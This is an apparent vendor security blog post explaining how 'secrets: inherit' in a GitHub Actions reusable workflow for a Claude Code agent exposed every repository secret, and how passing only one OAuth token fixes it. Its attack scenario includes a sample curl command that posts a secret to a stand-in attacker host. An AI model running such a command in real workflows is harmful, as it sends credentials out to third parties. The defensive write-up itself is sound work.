Back to Blog
high SEVERITY5 min read

How secrets: inherit over-privilege happens in GitHub Actions reusable workflows and how to fix it

A high-severity security finding was identified in `templates/claude-workflow/workflows/claude.yml` where `secrets: inherit` passed every repository secret to a reusable workflow, violating the principle of least privilege. The fix explicitly passes only `CLAUDE_CODE_OAUTH_TOKEN`—the single secret the called workflow actually needs—drastically reducing the blast radius if the reusable workflow is ever compromised.

O
By Orbis AppSec
Published July 25, 2026Reviewed July 25, 2026

Answer Summary

The `secrets: inherit` directive in GitHub Actions reusable workflow calls (CWE-250) passes all repository secrets to the called workflow, violating least privilege. In this case, `claude.yml` called `claude-run.yml` with full secret access when only `CLAUDE_CODE_OAUTH_TOKEN` was needed. The fix replaces `secrets: inherit` with an explicit `secrets:` map that passes only the required token, limiting exposure if the reusable workflow is compromised.

Vulnerability at a Glance

cweCWE-250 (Execution with Unnecessary Privileges)
fixReplace `secrets: inherit` with `secrets: { CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} }`
riskAll repository secrets exposed to reusable workflow — full credential theft if workflow is compromised
languageYAML (GitHub Actions)
root causeUsing `secrets: inherit` instead of explicitly passing only required secrets
vulnerabilityExcessive privilege via secrets: inherit in GitHub Actions

Introduction

In the richkuo/rk-skills repository, a high-severity security finding was discovered at line 300 of templates/claude-workflow/workflows/claude.yml. The workflow orchestrates an AI-powered Claude Code agent by calling a reusable workflow (claude-run.yml) twice—once for a "review" job and once for an "implementation" job. Both calls used secrets: inherit, handing the called workflow access to every secret in the repository, when it only ever reads CLAUDE_CODE_OAUTH_TOKEN.

This matters because claude-run.yml is designed to be consumed by downstream repositories via:

uses: richkuo/rk-skills/.github/workflows/claude-run.yml@main

Any consumer following the template's example would inadvertently expose all of their secrets to this centrally-maintained workflow. If the reusable workflow were compromised—through a malicious commit, a supply-chain attack, or even a misconfigured step—an attacker would gain access to every secret the calling repository holds: deployment keys, API tokens, cloud credentials, and more.

The Vulnerability Explained

What the code looked like

In .github/workflows/claude.yml, two jobs called the reusable workflow like this:

# Line ~296 — review job
jobs:
  review:
    uses: ./.github/workflows/claude-run.yml
    with:
      flow: ''
      model_id: ${{ needs.classify.outputs.model_id }}
      effort: ${{ needs.classify.outputs.effort }}
    secrets: inherit   # ← ALL secrets passed

  # Line ~316 — implementation job
  implement:
    uses: ./.github/workflows/claude-run.yml
    with:
      flow: ${{ needs.classify.outputs.flow }}
      model_id: ${{ needs.classify.outputs.model_id }}
      effort: ${{ needs.classify.outputs.effort }}
    secrets: inherit   # ← ALL secrets passed

Why this is dangerous

The secrets: inherit keyword is a convenience mechanism—it blindly forwards the entire secrets context. The called workflow, claude-run.yml, only uses CLAUDE_CODE_OAUTH_TOKEN for agent authentication. Yet with inherit, it also receives:

  • GITHUB_TOKEN (if stored as a repo secret)
  • Any deployment credentials (AWS keys, Docker Hub tokens, etc.)
  • Signing keys, NPM tokens, or other publishing secrets
  • Any third-party API keys stored in the repository

Attack scenario

  1. Compromised dependency: A malicious actor contributes a seemingly benign PR to rk-skills that modifies claude-run.yml to exfiltrate secrets.* values (e.g., curl -X POST https://attacker.com/collect -d "${{ secrets.AWS_SECRET_KEY }}").
  2. Consumer repo triggers the workflow: Any downstream repository that calls this reusable workflow with secrets: inherit now leaks all its secrets to the attacker.
  3. Lateral movement: With cloud credentials or deployment keys, the attacker pivots to production infrastructure.

Because this is a template repository (a Node.js library whose templates are consumed by other repos), the blast radius multiplies across every consumer.

The Fix

The fix spans three files, each serving a specific purpose:

1. claude-run.yml — Declare required secrets explicitly

The reusable workflow now formally declares which secrets it expects:

# .github/workflows/claude-run.yml
on:
  workflow_call:
    inputs:
      # ... existing inputs ...
    secrets:
      CLAUDE_CODE_OAUTH_TOKEN:
        description: 'Claude Code OAuth token for agent authentication'
        required: true

This makes the contract explicit: callers must pass CLAUDE_CODE_OAUTH_TOKEN and nothing else is expected.

2. claude.yml — Pass only the needed secret

Before:

    secrets: inherit

After:

    secrets:
      CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}

This change appears in both the review job (line ~299) and the implement job (line ~319). The workflow now passes exactly one secret—the OAuth token the agent needs to authenticate.

3. Documentation update in claude-run.yml header

The file's header comment was updated to guide consumers:

# passing CLAUDE_CODE_OAUTH_TOKEN explicitly under secrets: — the only secret
# this workflow consumes, so callers need not (and should not) use
# secrets: inherit.

This ensures future maintainers and consumers understand the design intent without needing to read the full workflow.

Why each change matters

File Purpose
claude-run.yml (secrets declaration) Enforces a typed contract — callers get a validation error if they forget the token
claude.yml (explicit secrets map) Reduces the secret surface from "all" to exactly one
claude-run.yml (comment) Documents the security rationale for future contributors

Prevention & Best Practices

1. Never use secrets: inherit with third-party or shared workflows

Even for internal workflows, treat secrets: inherit as a code smell. It makes the security posture invisible—you can't tell what secrets are actually used without reading the called workflow's source.

2. Declare secrets in reusable workflows

Always add a secrets: block to your workflow_call trigger:

on:
  workflow_call:
    secrets:
      DEPLOY_KEY:
        required: true
      NPM_TOKEN:
        required: false

This creates a self-documenting interface and enables GitHub to surface errors when secrets are missing.

3. Pin reusable workflows to SHAs

While not the focus of this fix, pinning to a commit SHA (uses: org/repo/.github/workflows/wf.yml@abc123) prevents supply-chain attacks from new commits:

uses: richkuo/rk-skills/.github/workflows/claude-run.yml@a1b2c3d

4. Use static analysis in CI

Add Semgrep or similar SAST tools to catch secrets: inherit patterns before they reach production:

- uses: returntocorp/semgrep-action@v1
  with:
    config: p/github-actions

5. Audit existing workflows

Search your organization for secrets: inherit:

grep -r "secrets: inherit" .github/workflows/

Replace every instance with explicit secret maps.

Key Takeaways

  • secrets: inherit at line 300 of claude.yml exposed every repository secret to claude-run.yml, which only needs CLAUDE_CODE_OAUTH_TOKEN.
  • Template repositories amplify risk: because rk-skills is consumed by downstream repos, the insecure pattern would propagate to every consumer.
  • Declaring secrets: in workflow_call creates a typed contract that prevents accidental over-sharing and documents the workflow's requirements.
  • The fix is backward-compatible: callers simply switch from secrets: inherit to an explicit map—no functional behavior changes.
  • Static analysis (Semgrep rule yaml.github-actions.security.secrets-inherit.secrets-inherit) caught this automatically, proving that CI-integrated SAST is effective for workflow security.

How Orbis AppSec Detected This

  • Source: Repository secrets context (secrets.*) containing all secrets configured for the repository.
  • Sink: secrets: inherit directive at line 300 of templates/claude-workflow/workflows/claude.yml, forwarding the full secrets context to the reusable workflow claude-run.yml.
  • Missing control: No explicit secret enumeration—the workflow lacked a secrets: map that would restrict which secrets flow to the called workflow.
  • CWE: CWE-250 (Execution with Unnecessary Privileges).
  • Fix: Replaced secrets: inherit with secrets: { CLAUDE_CODE_OAUTH_TOKEN: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }} } and added a formal secrets: declaration to the reusable workflow.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The secrets: inherit shortcut is deceptively dangerous. In this case, a Claude Code agent workflow only needed a single OAuth token, yet every secret in the repository—and potentially in every downstream consumer—was being handed to the reusable workflow. The fix is simple: declare what you need, pass what you need, nothing more. For template repositories especially, this discipline is critical because insecure patterns propagate to every consumer. Adopt explicit secret passing, pin your workflow references, and let static analysis tools enforce these policies automatically.

References

Frequently Asked Questions

What is secrets: inherit in GitHub Actions?

`secrets: inherit` is a directive in GitHub Actions that automatically passes all secrets from the calling workflow's context to a reusable (called) workflow, without requiring explicit enumeration of each secret.

How do you prevent secrets over-privilege in GitHub Actions?

Use the explicit `secrets:` map to pass only the specific secrets the reusable workflow requires, e.g., `secrets: { MY_SECRET: ${{ secrets.MY_SECRET }} }`, rather than `secrets: inherit`.

What CWE is secrets: inherit over-privilege?

CWE-250: Execution with Unnecessary Privileges. The workflow executes with access to more secrets than it needs, expanding the attack surface unnecessarily.

Is pinning reusable workflows to a SHA enough to prevent secrets exposure?

SHA pinning reduces supply-chain risk from upstream changes but does not limit which secrets the called workflow can access. You still need explicit secret passing to enforce least privilege.

Can static analysis detect secrets: inherit misuse?

Yes. Tools like Semgrep have rules such as `yaml.github-actions.security.secrets-inherit.secrets-inherit` that flag this pattern automatically in CI/CD pipelines.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #75

Related Articles

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How dependabot-missing-cooldown happens in GitHub Actions/Node.js and how to fix it

The repository's `.github/dependabot.yml` had no cooldown period configured, meaning Dependabot could immediately propose updates to newly published package versions with zero time for the community to flag malware or instability. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, forcing a 7-day waiting period before new releases are surfaced as update PRs.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.

critical

How Remote Code Execution Happens in Handlebars Template Compilation and How to Fix It

CVE-2026-33937 is a critical remote code execution vulnerability in Handlebars.js that allows attackers to execute arbitrary code by passing maliciously crafted Abstract Syntax Tree (AST) objects to the compile() function. The vulnerability was patched in version 4.7.9, and we've upgraded to protect against this threat vector.